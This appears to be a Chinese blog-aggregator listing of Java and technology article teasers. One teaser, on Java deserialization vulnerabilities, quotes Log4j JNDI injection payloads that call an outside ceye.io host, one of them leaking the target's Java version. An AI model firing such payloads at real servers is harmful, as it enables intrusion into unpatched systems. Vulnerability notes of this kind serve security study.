语法 随笔 基础java

查看JAVA程序占用的资源

本文介绍两种java自带的工具,可以用于监控和分析Java应用程序的内存占用情况。 jconsole、jvisualvm。 1、jconsole工具:jconsole是Java自带的监控和管理工具,可用于监视Java应用程序的内存使用情况。以下是详细的步骤来使用jconsole工具: 打开命令行窗口 ......
程序 资源 JAVA

JAVA的几个知名的反序列化漏洞

更新一下笔记中JAVA的几个知名的反序列化漏洞,仅漏洞poc和原理,无分析过程。 # Log4j 条件:出网(因为需要请求jndi服务器) ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
序列 漏洞 JAVA

JVM(JAVA Virtual Machine)Java虚拟机

JVM的跨平台性 一次编写,到处运行 JVM将字节码文件编译成对应操作系统的机器码 JVM的语言无关性 JVM的解释执行 字节码文件会按照顺序执行 ,字节码文件先被加载到jvm中,执行引擎根据字节码指令逐行解释成本地机器码 JIT——即时编译器 逐行解释代码——运行速度比较慢 jvm还有一种另外的情 ......
Virtual Machine JAVA Java JVM

java报错could not open jvm.cfg

查看path环境变量配置: 1、删除C:\Program Files (x86)\Common Files\Oracle\Java\javapath 2、或者将新配置的JDK放在上面这个配置的前面 修改后保存,在命令行窗口运行 java -version 显示版本号即说明成功! ......
could java open cfg not

java 支持 超大上G,多附件上传示例解析

​ 在Web应用系统开发中,文件上传和下载功能是非常常用的功能,今天来讲一下JavaWeb中的文件上传和下载功能的实现。 先说下要求: PC端全平台支持,要求支持Windows,Mac,Linux 支持所有浏览器。 支持文件批量上传 支持文件夹上传,且要求在服务端保留层级结构。文件夹数量要求支持到1 ......
示例 附件 java

k8s helm基础

Helm 介绍 Helm是一款将Kubernetes应用打包为“图表”格式,并基于该格式完成应用管理的工具。类似于Linux系统上的yum或apt-get等包管理器,可以帮助用户查找、分享及管理Kubernetes应用程序。 Helm 概念 Chart: 代表着 Helm 包。它包含在 Kubern ......
基础 helm k8s k8 8s

【专题】中国充电基础设施行业简析报告PDF合集分享(附原数据表)

原文链接:https://tecdat.cn/?p=33600 2022年,中国城市充电基础设施继续快速增长,总量从2021年的261.7万台增加到2022年的521万台,同比增幅超过99%。其中,私人充电桩的增加数量达到194.2万台,是公共充电桩增加数量的3倍,私人充电桩占比也从2021年的56 ......
数据表 基础设施 设施 基础 专题

【专题】2021年中国主要城市充电基础设施监测报告报告PDF合集分享(附原数据表)

原文链接:https://tecdat.cn/?p=33600 2022年,中国城市充电基础设施继续快速增长,总量从2021年的261.7万台增加到2022年的521万台,同比增幅超过99%。其中,私人充电桩的增加数量达到194.2万台,是公共充电桩增加数量的3倍,私人充电桩占比也从2021年的56 ......
报告 数据表 基础设施 设施 基础

【专题】电动汽车充电基础设施建设与运营的优化解决方案报告PDF合集分享(附原数据表)

原文链接:https://tecdat.cn/?p=33600 2022年,中国城市充电基础设施继续快速增长,总量从2021年的261.7万台增加到2022年的521万台,同比增幅超过99%。其中,私人充电桩的增加数量达到194.2万台,是公共充电桩增加数量的3倍,私人充电桩占比也从2021年的56 ......

java 支持 超大上G,多附件上传示例

​ 1、介绍enctype enctype 属性规定发送到服务器之前应该如何对表单数据进行编码。 enctype作用是告知服务器请求正文的MIME类型(请求消息头content-type的作用一样) 1、1 enctype的取值有三种 值 描述 application/x-www-form-urle ......
示例 附件 java

纯java 实现定时任务的两种方式

1.情景展示 在实际项目开发过程中,往往会存在这样的需求: 定时执行某个任务,如何实现? 2.具体分析 定时任务,其实就是定时调用。 在代码中,我们可以通过定时运行某个类的某个方法来实现。 具体实现方式,有两种: 一种是通过java实现。 另一种是借助spring来实现。 本文只说java实现方式。 ......
任务 方式 java

java正则表达式(一)

转: https://www.cnblogs.com/-w-k-/p/16040896.html 一、校验数字的表达式 1 数字:^[0-9]*$ 2 n位的数字:^\d{n}$ 3 至少n位的数字:^\d{n,}$ 4 m-n位的数字:^\d{m,n}$ 5 零和非零开头的数字:^(0|[1-9] ......
正则 表达式 java

java 支持 超大上G,多附件上传实例

​ 这里只写后端的代码,基本的思想就是,前端将文件分片,然后每次访问上传接口的时候,向后端传入参数:当前为第几块文件,和分片总数 下面直接贴代码吧,一些难懂的我大部分都加上注释了: 上传文件实体类: 看得出来,实体类中已经有很多我们需要的功能了,还有实用的属性。如MD5秒传的信息。 public c ......
实例 附件 java

关于SpringBoot 启动失败 Invocation of init method failed; nested exception is java.lang.IllegalStateException: Ambiguous mapping. 的问题解析

Application run failed org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'requestMappingHandlerMapping' defined i ......

java 支持 超大上G,多附件上传代码

​ 一、 功能性需求与非功能性需求 要求操作便利,一次选择多个文件和文件夹进行上传; 支持PC端全平台操作系统,Windows,Linux,Mac 支持文件和文件夹的批量下载,断点续传。刷新页面后继续传输。关闭浏览器后保留进度信息。 支持文件夹批量上传下载,服务器端保留文件夹层级结构,服务器端文件夹 ......
附件 代码 java

JS基础-数据类型转换

JS存在不同的数据类型, 这就需要一些方法将不同的数据类型做转换。 ## 转数字类型 其他类型的值转换成数字, 这在工作中很常见。 有以下几种转换方式 - Number 函数 - parseInt 函数 - parseFloat 函数 ### Number Number 函数可以将 其他类型转成 数 ......
类型 基础 数据

Java中使用JTS实现WKT字符串读取转换线、查找LineString的list中距离最近的线、LineString做缓冲区扩展并计算点在缓冲区内的方位角

场景 Java中使用JTS对空间几何计算(读取WKT、距离、点在面内、长度、面积、相交等): https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/126302894 Java+GeoTools实现WKT数据根据EPSG编码进行坐标系转换 ......

随笔1

| 工程概论 | https://edu.cnblogs.com/campus/jmu/ComputerScience21 | | | | | 这个作业要求在哪里 | https://edu.cnblogs.com/campus/jmu/ComputerScience21/homework/1303 ......
随笔

java 支持 超大上G,多附件上传源代码

​ javaweb上传文件 上传文件的jsp中的部分 上传文件同样可以使用form表单向后端发请求,也可以使用 ajax向后端发请求 1.通过form表单向后端发送请求 <form id="postForm" action="${pageContext.request.contextPath}/Up ......
源代码 附件 java

[RoarCTF 2019]Easy Java

## [RoarCTF 2019]Easy Java 打开题目发现如下界面 ![image-20230908113509757](https://img2023.cnblogs.com/blog/2957075/202309/2957075-20230908123617808-1368482259. ......
RoarCTF 2019 Easy Java

在MAC配置java环境,安装JDK和MAVEN

一、JDK的安装与配置 1、下载JDK, 应为安装vs时,vs自动下载了openjd11,所以我这边进行配置就可以了, 接下来配置 .bash_profile和.zshrc,不配置.zshrc重启后配置将不生效 vim ~/.bash_profile export JAVA_HOME=/Librar ......
环境 MAVEN java MAC JDK

微服务启动失败,报错信息:java.lang.RuntimeException: dynamic-datasource Please check the setting of primary

【问题描述】 Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'dataSource' defined in class path resource [ ......

【校招VIP】java语言考点之类的加载过程

考点介绍: 类的加载过程在校招面试中是个高频考点。类只有在要运行的时候才会被加载进JVM,即编译后只有需要到这个类的时候才会把他加载进JVM运行这种动态加载是依靠反射来实现的,一般来说一个class只会被加载一次。 答案详情解析和文章内容可扫下方海报二维码或点击链接即可查看! 一、考点试题 1、如何 ......
考点 过程 语言 java VIP

Java 中的日期时间总结

大家好,我是 god23bin,在日常开发中,我们经常需要处理日期和时间,日期和时间可以说是一定会用到的,现在总结下 Java 中日期与时间的基本概念与一些常用的用法。 ......
日期 时间 Java

java 服务异常崩溃 JVM报错:Failed to write core dump. Core dumps have been disabled.

java 服务异常崩溃 JVM报错:Failed to write core dump. Core dumps have been disabled. bigDataShare 于 2020-06-23 13:59:19 发布 10730 收藏 11分类专栏: 03-jvm版权 华为开发者联盟Har ......
disabled Failed dumps write java

(随笔)udp接收数据 bugfix

在学习udp数据通信的时候偶遇一个bug,具体代码如下 ## code ### sender ```java package com.udpExample.chat; import java.io.BufferedReader; import java.io.InputStreamReader; i ......
随笔 数据 bugfix udp

二维树状数组基础.

`2023-08-10 11:04:41 顶置3` # 二维树状数组 二维树状数组与一维树状数组其实原来差不多,相当于对整个列开一个树状数组,然后对其中每一行开一个树状数组。所以其基本形式与一维树状数组差不多,非常好理解(可以看做是行列相互独立,只是处理行的时候处理的是其对应的列的树状数组,学了二维 ......
数组 基础

线性基基础

`2023-08-30 15:05:38 顶置3` `launched on 2023.8.30 11:20` 参考资料: [Hypoc_:线性基详解](https://blog.csdn.net/a_forever_dream/article/details/83654397?ydreferer= ......
线性 基础

0008Java程序设计-JSP学生成绩

## **摘 要** 随着网络的不断发展,一个好的成绩查询系统,不仅便于学生查询成绩、查询个人信息,而且有利于管理员对学生成绩的统一管理,考试之后学生能及时的对个人信息进行查看,减少了老师和学生之间的工作量,减少等待成绩查看时间,不用等待通知,直接自行查看即可,节约时间。 系统分为学生登录和管理员登 ......
程序设计 成绩 程序 学生 0008

0015Java程序设计-springboot美食网站

## 摘 要 随着移动应用技术的发展,越来越多的用户借助于移动手机、电脑完成生活中的事务,许多的传统行业也更加重视与互联网的结合。 本论文主要介绍基于java的美食网站,运用软件工程原理和开发方法,采用springboot框架构建的一个管理系统。整个开发过程首先对软件系统进行需求分析,得出系统的主要 ......
程序设计 springboot 美食 程序 网站